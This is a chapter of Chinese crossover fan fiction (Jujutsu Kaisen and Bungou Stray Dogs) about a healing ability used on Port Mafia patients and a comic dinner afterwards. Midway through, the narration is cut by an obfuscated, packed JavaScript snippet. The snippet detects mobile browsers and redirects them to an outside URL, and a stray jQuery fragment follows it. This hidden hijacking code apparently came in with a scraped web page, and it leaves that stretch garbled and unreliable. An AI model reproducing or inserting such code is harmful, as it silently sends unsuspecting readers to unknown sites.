“如果咩咕咪在场的话,前有胎咒九相图,后有吞噬了一根宿傩手指的特级诅咒,肯定又是做下了同归于尽的决定吧。”市松樱坐在桌子上,双手向前伸出:“布瑠部由良由良……”
伏黑惠尴尬地扭头:“……因为同伴很重要,我不想看到任何一个同伴死在自己面前。”
钉崎野蔷薇恶狠狠给了他一肘子,很凶道:“谁会死啊!你也太没信心了吧,就算真打不过万一我跟五条老师一样濒死时领悟反转术式和领域呢?这不就反败为胜了吗?!”
没用的男人!
伏黑惠:噗。(吐血)
市松樱点了点头:“论心态而言,蔷薇是同期里最好的那个。但是,咩咕咪,‘以命换命’和‘以命相搏’是完全不同的,十种影法术的潜力不输六眼无下限,但如果你始终抱着死亡而不是胜利的心态去战斗。”
她张开手放在鸟嘴面具前,朝外掌心里出现一条狭长的缝隙,一颗有着沉金瞳仁的眼球定定地盯着咬牙的刺头少年:
“那么你只能止步于一级。这是我、也是五条老师想要对你说的话。”
被夸夸的钉崎野蔷薇得意洋洋:“臭小子你还有的学呢~”
伏黑惠:怒!
他没漏下自己的疑惑:“我还以为你会说自己的心态最好。”
是哦。钉崎野蔷薇也觉得不对劲,邪恶人偶不应该说‘人偶大人心态超一流谁都比不过’的话吗?怎么突然这么谦虚?
市松樱放下手,顿了顿道:“事情还没有达到想要的结局所以在此之前必须站着赢得胜利——这样的心态我不认为是正确的。”
但她的确抱着的,就是这样的不正确想法去赢得一场又一场战斗的。
就像无论覆盖了多少层糖衣,也无法掩盖底下是酸苦药丸的事实。
玻璃被敲响了,市松樱扫掉那些多余的思绪,牛气哄哄道:“本干部大人要工作啦,恶心想吐抽屉里有垃圾袋。”
看着市松樱开门、关门、然后到达对面房间里。
两个房之间的隔离玻璃被擦得很干净,隔音也不错,只能看见市松樱对面的梦野久作嘴巴张张合合,但听不见任何声音。
钉崎野蔷薇锤伏黑惠,“都是你,strong男不带好榜样,什么都憋在心里,樱就是跟你学的!”
伏黑惠感觉要六月飞雪了:“我……我的错。之后我坦白,绝对透明、公开。”
钉崎野蔷薇挥了挥拳头,勉强放过他。
对面一溜儿的医护人员点头哈腰把病人挨个儿抬进来,看着一个自己都打着点滴的医生,钉崎野蔷薇眯起眼:“这是医生还是病人啊?港口mafia这么狠的吗?带病都要上班啊?”
“异能者吧,地位也不低的样子。”伏黑惠也很新奇地盯着看,异能者真的是跟咒术师完全不一样,就其中最大一点来说——咒术师跟普通人总有些距离,毕竟普通人看不见咒灵还是咒灵形成的源头,如果交往过深,对咒术师而言其实也是种负担。
咒术师们抱团、远离普通人生活才是常态。
可异能者却很自如地混杂在普通人里生活,明明也能看见咒灵,如果是攻击类异能费点力气的话祓除咒灵也是可以的。但……
“还是有距离的。毕竟异能者、咒术师,就像是自带武器的人一样,对于赤手空拳的普通人而言害怕是正常的吧。”进来的梦野久作翻看着病历本,不客气道:“毕竟与其指望着强者的怜悯和道德,远离才是风险最小也最便捷的道路。普通人会这么选择也无可指摘。”
被老师反复毒打的他身上再看不到曾经反社会的熊孩子模样,白大褂一披,还挺有几分精英范的。
“不过人都是感情类动物,相处久了就知道了,都是人而已,无论是异能者还是咒术师。不过,你们咒术师选择与普通人有隔阂也不是不能理解,毕竟责任不一样,如果自己的至亲至爱是普通人,看着他们产出杀死自己并肩作战的同伴的诅咒,哪怕这不是对方的意愿,心情也肯定是很复杂的。”
梦野久作耸了耸肩,反正他要是咒术师肯定受不了这种与普通人格格不入还要整天祓除丑得千奇百怪诅咒的日子。
提溜了把快要滑落下去的恐怖娃娃重新夹好在胳膊肘,好心提醒了句:“最好把塑料袋打开,到时候一低头就能吐进去了。要是弄脏我办公室,即便有老师在我也要生气了。”
好吧,人家的地盘呢。而且万一真吐在身上了最难受的还是自己。
钉崎野蔷薇和伏黑惠乖乖照做。
玻璃墙另一端,金色的光星星点点从指尖开始生起,漆黑的长袍无风自动,鸟嘴面具微仰,耳边似乎响起市松樱平静无波的声音——
【异能力:污染源。】
飒——
大量的文字随光爆炸式散开,被渲染成了片片金色的海浪,温柔拂卷过市松樱的面具,在半空中轻盈飞舞,凝神去看,这些文字似乎更像是一句句被摘抄下的句子:
【……眼睛即是太阳,祂指引着我们从出生到死亡、寂静到繁杂、干旱到雨露……于是我睁开眼,正好接住了祂赐予我们的今年第一滴奶与蜜……】
【……闭上眼,夜晚就会降临,然后你能看见身体内有另一双眼睛睁开了……】
【……祂们窃窃私语,在吉戈尔普勒克斯为计的枝丫上,把腐烂的、过小的、生虫的果实打落泥土,去滋养那些剩下的果子……】
……
钉崎野蔷薇和伏黑惠被震撼得说不出话来。
异能力鼓动翻飞,在碎金海潮里,病人的身体开始发生异变——
“呕——”看得久了,那些文字开始鼓胀变形,像吸血蛭一样粘腻在你的皮肤上,留下一串湿滑的痕迹后就往身体里钻。
这种毛骨悚然的、具象化的恶心感让胃液直直往上涌,脑子里也是一顿翻江倒海,根本忍不了一点只能顺应身体本能:
吐彩虹。
吐到喉咙里都是一股灼烧感。
好在桌子上就有矿泉水和纸巾,钉崎野蔷薇顶不住,跟梦野久作一样背对玻璃墙。
“……直接对着病人用真的没事吗?”
确定是在救人而不是帮阎王刷业绩吗?
梦野久作靠墙坐着翻病历本:“效果控制到最低线就没事,把多余的东西切除再把缺的地方缝补一下,总比缺胳膊少腿要好。”
谁让他们上任首领得罪了武装侦探社的医生呢,港口mafia也连带着被迁怒。
靠现有的医疗手段可没办法凭空生长身体被截掉的部位,用市松樱的异能也算是兵行险招了。
异能力发动一结束,在外面等待的医护人员立马呼啦啦一下子推门涌进来,熟练地清理病人脖子上绑着的呕吐袋,然后用担架平车挨个儿推出去,直达手术室直接开始手术。
市松樱也跟进其中一个手术室。
“虽然老师的反转术式用在他人身上效果很差,但在快死或者需要疏通下血管的时候可以当救命稻草用。”
梦野久作解释了句。
三人走出办公室,直面异形片场。
毕竟手术室有限,其他没排上的就得在外面排队等着。
“医生我头怎么这么晕啊?”一个顶着满脑门咕噜噜乱转的眼珠子的病人大喊。
护士小姐默默递过来一面小镜子。
病人看了看,‘嘎’的一声昏死了过去。
“医生腿多的切掉可以,但我想保留这第三只手成么?”一个盘着八条腿的病人用三只手搂抱着自己撒娇。
医生淡定地给这一米九的壮汉推了支镇定。
“不是,为啥糕丸也能长啊?两个糕丸也太奇怪了吧?!这世界上怎么可能会有两个糕丸的男人啊!”
最后一个病人的喊话成功达成了全场沉默的效果。
兄der你…
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15572586|167803||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…
伏黑惠看见几个医护人员在那儿做可达鸭嘴,水喝得差点呛死。
“我们医院上岗人员都是经过专业训练的,无论多好笑我们都不会笑……”
“除非忍不住、哈哈哈哈哈——”
护士小姐怜爱道:“没事儿,宝宝你是一只可爱的小单糕~”
病人:???
——
今天的人偶大人肯定是逃不了加班的命运了。
好在缺胳膊少腿的终究是少数,毕竟——
“大部分都是人体描边式友好切磋一下火力啦,现代社会哪有那么多给你卖命的底层员工,要动真格都是异能者往前站了。”
很懂的五条悟晃悠悠叉了个草莓塞嘴里,看见推门准备进来的人,眼睛一亮,大力挥手热情无比道:
“小帽子君~”
门哐当一下被踢开,中原中也怒气冲冲一脚飞踢:“给我把小字去掉啊你个糖精脑袋!”
无下限精准拦截的五条悟:“欸嘿~打不着~”
贱兮兮的样子看得学生们一脑门子汗。
咱们可是在人家地盘啊五条老师!
又成功拍下蛞蝓黑历史的太宰治愉快道:“好了中也,要上菜了,坐下吧。”
在外人面前还是很给青花鱼首领面子的中原中也哼了一声,把酒放在桌子上:“这可是我的珍藏,糖精脑袋你半口都挡不住。”
已经一起吃过几餐饭的他充分了解了咒术届最强的酒量。
五条悟丝毫不虚:“忧太上!”
乙骨忧太开始慌乱:“欸?欸?!我吗?”
他还是未成年啊——
钉崎野蔷薇倒是有些眼馋,不过她也知道五条悟就是嘴嗨,真喝的话肯定要吃暴栗。
啤酒睁一只眼闭一只眼就算了,这种高度酒绝对是打咩的。
中原中也倒是看出来在场唯一一位女孩子的渴望,毕竟对嗜酒的人来说这种眼神太好懂了,于是让后勤上了一瓶很漂亮的粉色气泡酒,精致的包装一看就价值不菲,很适合拍照和送人。
“这个基本上没什么度数,当气泡果汁都行。”正经起来时,中原中也无论是从外型上还是举止上,都完美符合大众对老牌黑手党的幻想。
强大、帅气、绅士。
钉崎野蔷薇眼睛里都要冒桃心了。
从见面起就在被嫌弃的虎杖悠仁、伏黑惠:。
说要迷死对方的人是谁?
现在明显是你要投敌了喂!
胀相很贴心地为自己新鲜出炉的弟弟切好牛排。
噫——好肉麻。
钉崎野蔷薇立马停下拍照的手,眼神一厉:“什么情况?”
不会是要挖虎杖、不、两面宿傩吧?
“这个……其实他是我哥哥来着。”虎杖悠仁有些不好意思,“从血缘上讲是这样。”
具体的他也不好意思在饭桌上讲,毕竟胎咒九相图的父亲,自己的母亲居然是同一个人这种事,讲出来绝对会让同期喷饭吧。
钉崎野蔷薇哼了一声:“等从横滨回去后,我们必须开一局真心话。”
一个两个的都把自己的事藏着掖着太让人不爽了。
咒术师们个个人高马大,每天祓除咒灵运动量也超标,因此吃饭得论盆来装。
港口mafia首领定的席面就不可能不好吃,菜式也绝对上到吃饱为止,于是四个学生加三个做人不久的胎咒九相图都吃得跟小猪一样,哐哐炫饭,头都不抬。
尤其是白天还打了一架的参赛人员,基本上是上一盘空一盘。
估计后厨的厨师们手都要舞出残影了。
许久未参加过这么纯粹的饭局的中原中也情不自禁喝了口酒掩盖自己的震惊。
承认双方画风的确截然不同的太宰治:……哎,咒术大猩猩。
樱酱,不会也变成这样了吧?(血压升高)